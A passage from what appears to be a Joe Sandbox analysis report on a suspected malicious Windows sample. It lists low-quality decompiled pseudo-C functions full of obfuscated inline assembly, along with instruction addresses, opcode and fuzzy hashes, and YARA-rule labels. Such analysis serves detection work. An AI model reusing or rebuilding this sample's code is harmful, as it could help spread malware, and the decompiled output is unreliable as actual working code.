							_t143 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t143);
						_push(_t65);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t148, _t180);
						_t67 = 0x2c1c;
						_t62 = E00401277(_t67, 0x688e1679, _t152, _t153, 0x13eba4a4, _t180);
					} else {
						_t62 = E00402255(_t183,  *((intOrPtr*)(0x13eba4a0)));
						_t177 = _t62;
						if(_t62 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t62 = L00402321(0x688e1679, _t152, _t153, _t177, _t183);
							_t178 = _t62;
							if(_t62 != 0) {
								_t62 = E00401FF1(_t178, _t183,  *((intOrPtr*)(0x13eba4a0)));
								if(_t62 != 0) {
									goto L26;
								}
							}
						}
					}
				}
				return _t62;
			}

0x00402a07
0x00402a07
0x00402a07
0x00402a07
0x00402a0b
0x00402a0f
0x00402a16
0x00402a17
0x00402a18
0x00402a1a
0x00402a1f
0x00402a20
0x00402a21
0x00402a22
0x00402a2c
0x00402a2d
0x00402a36
0x00402a39
0x00402a3a
0x00402a3a
0x00402a3a
0x00402a40
0x00402a44
0x00402a45
0x00402a47
0x00402a4a
0x00402a50
0x00402a52
0x00402a57
0x00402a58
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000011.00000002.422348890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_7C86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction ID: 28c32271fa903d2e502f5c43ee7f2935ae1d22089060b7f4ec41985c8baa115a
Opcode Fuzzy Hash: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction Fuzzy Hash: A6717732109101DFEB00AE64EECA59AFB64FF1937477001ABDC416F1E2C37B5542DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A5E, Relevance: .2, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A5E(void* __ebx, void* __ecx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t123;
				void* _t126;
				signed int* _t128;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t134;
				intOrPtr* _t135;
				void* _t136;
				void* _t140;
				signed int _t141;
				signed int _t142;
				void* _t155;
				void* _t162;
				signed long long _t164;

				_t162 = __fp0;
				_t135 = __esi;
				_t131 = __edi;
				_t128 = __edx;
				asm("sbb al, 0xb8");
				_t123 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t136, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t141 = _t140 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t137 = 0xdea4a4a7;
				asm("wait");
				_push(_t141);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t135);
				_t132 = _t131 -  *0xFFFFFFFFDEA4A4EF;
				_t149 = _t90 ^ _t132;
				if((_t90 ^ _t132) < 0) {
					_pop(_t113);
					_t135 = _t135 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t137 = 0xdea4a4a7 - _t132;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t123 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t132, _t135, _t137, _t149);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t141 = 0x10eba4a4 |  *(_t135 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t142 = _t141 |  *(_t135 + _t137 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t142);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t164 = (_t162 - _t128[0x1a]) *  *_t128;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t129);
					asm("salc");
					_t164 = _t164 +  *_t135;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t130 = _t129 ^  *0xd05b5b70;
				} while ((_t129 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t134);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t135);
				_t155 = _t123 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t142;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t134, _t135, 0x13eba4a4, _t155);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t134, _t135, _t155); // executed
				_t156 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t134, _t156,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L24:
						_t161 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t126 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t126 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t126);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t130, _t161);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t134, _t135, 0x13eba4a4, _t161);
					} else {
						_t51 = E00402255(_t164,  *((intOrPtr*)(0x13eba4a0)));
						_t158 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t134, _t135, _t158, _t164);
							_t159 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t159, _t164,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L24;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a5e
0x00402a5e
0x00402a5e
0x00402a5e
0x00402a60
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000011.00000002.422348890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_7C86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction ID: 14214452042e6ecbc914254f67d2709232b961f867d8ebf06c643147f3da40d9
Opcode Fuzzy Hash: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction Fuzzy Hash: 5151443200D141DEEB00AE64AEDA5AAFB64FF15378B3001B7DC416E1E6C37A5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A68, Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A68(void* __ebx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t121;
				void* _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t138;
				signed int _t139;
				signed int _t140;
				void* _t153;
				void* _t160;
				signed long long _t162;

				_t160 = __fp0;
				_t133 = __esi;
				_t129 = __edi;
				_t121 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t134, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t139 = _t138 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t135 = 0xdea4a4a7;
				asm("wait");
				_push(_t139);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t133);
				_t130 = _t129 -  *0xFFFFFFFFDEA4A4EF;
				_t147 = _t90 ^ _t130;
				if((_t90 ^ _t130) < 0) {
					_pop(_t113);
					_t133 = _t133 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t135 = 0xdea4a4a7 - _t130;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t121 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t130, _t133, _t135, _t147);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t139 = 0x10eba4a4 |  *(_t133 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t140 = _t139 |  *(_t133 + _t135 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t140);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t162 = (_t160 -  *0x000000F7) *  *0x8c;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t127);
					asm("salc");
					_t162 = _t162 +  *_t133;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t128 = _t127 ^  *0xd05b5b70;
				} while ((_t127 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t132);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t133);
				_t153 = _t121 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t140;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t132, _t133, 0x13eba4a4, _t153);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t132, _t133, _t153); // executed
				_t154 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t132, _t154,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L25:
						_t159 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t124 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t124 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t124);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t128, _t159);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t132, _t133, 0x13eba4a4, _t159);
					} else {
						_t51 = E00402255(_t162,  *((intOrPtr*)(0x13eba4a0)));
						_t156 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t132, _t133, _t156, _t162);
							_t157 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t157, _t162,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L25;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a68
0x00402a68
0x00402a68
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000011.00000002.422348890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_7C86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction ID: 82ad2b52174684eab274c82477a3a8af7fb59672a5e0ddff72ba5353dc29b957
Opcode Fuzzy Hash: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction Fuzzy Hash: 11514332109101DEEB00AE64AFDA9AAF764FF15378B3001B7DC416E1E6C37B5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A6C, Relevance: .2, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E00402A6C(unsigned int __ebx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t41;
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t74;
				signed int _t91;
				signed int* _t114;
				void* _t119;
				void* _t122;
				void* _t125;
				signed int* _t127;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t139;
				signed int _t140;
				signed int _t141;
				unsigned int _t146;
				void* _t154;
				void* _t161;
				signed long long _t163;

				_t161 = __fp0;
				_t134 = __esi;
				_t130 = __edi;
				_t127 = __edx;
				_t63 = __ebx >> 0xd;
				_t146 = __ebx >> 0xd;
				_t122 = 0x9d;
				_t42 = E00401277(_t41, _t63, __edi, __esi, _t135, _t146);
				_pop(_t67);
				 *(_t67 + 0x3e) =  *(_t67 + 0x3e) ^ 0x00000012;
				_pop(_t68);
				 *((intOrPtr*)(_t68 + 0x35)) =  *((intOrPtr*)(_t68 + 0x35)) - _t68;
				asm("aaa");
				_t73 = 0x5b5b695b;
				 *((intOrPtr*)(_t73 + 0x3e)) =  *((intOrPtr*)(_t73 + 0x3e)) - 0x12;
				_pop(_t74);
				 *((intOrPtr*)(_t74 + 0x68)) =  *((intOrPtr*)(_t74 + 0x68)) - _t74;
				asm("aaa");
				asm("aaa");
				_t91 = 0x5b5b695b;
				asm("das");
				_t140 = _t139 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t136 = 0xdea4a4a7;
				asm("wait");
				_push(_t140);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t134);
				_t131 = _t130 -  *0xFFFFFFFFDEA4A4EF;
				_t148 = _t91 ^ _t131;
				if((_t91 ^ _t131) < 0) {
					_pop(_t114);
					_t134 = _t134 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t136 = 0xdea4a4a7 - _t131;
					asm("int3");
					 *_t114 =  *_t114 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t119 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t119;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t122 = 0x9a;
					_t45 = E00401277(_t61, _t119, _t131, _t134, _t136, _t148);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t140 = 0x10eba4a4 |  *(_t134 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t141 = _t140 |  *(_t134 + _t136 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t141);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t163 = (_t161 - _t127[0x1a]) *  *_t127;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t128);
					asm("salc");
					_t163 = _t163 +  *_t134;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t129 = _t128 ^  *0xd05b5b70;
				} while ((_t128 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t133);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t134);
				_t154 = _t122 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t141;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t133, _t134, 0x13eba4a4, _t154);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t133, _t134, _t154); // executed
				_t155 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t133, _t155,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L23:
						_t160 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t125 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t125 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t125);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t129, _t160);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t133, _t134, 0x13eba4a4, _t160);
					} else {
						_t51 = E00402255(_t163,  *((intOrPtr*)(0x13eba4a0)));
						_t157 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t133, _t134, _t157, _t163);
							_t158 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t158, _t163,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L23;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000011.00000002.422348890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_7C86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction ID: ac3f9a48b8241fa4787baba6bb88e996d90e4b1d5655853c31ab7ffc92292063
Opcode Fuzzy Hash: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction Fuzzy Hash: 6251543200A101DFEB00AF64AEDA5AAFB64FF15378B3401A7DC416E1E2D37B5642DA56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B38, Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E00402B38(signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t25;
				intOrPtr _t26;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t37;
				void* _t65;
				signed int* _t67;
				signed int _t68;
				void* _t73;
				intOrPtr* _t74;
				void* _t75;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t84;
				signed long long _t99;

				_t74 = __esi;
				_t67 = __edx;
				_t71 = __edi + 1;
				_t84 = __edi + 1;
				asm("das");
				asm("a16 scasb");
				_t26 = E00401277(_t25, 0x9ab9, _t71, __esi, _t75, _t84);
				asm("salc");
				asm("fcom dword [esi+0x6b]");
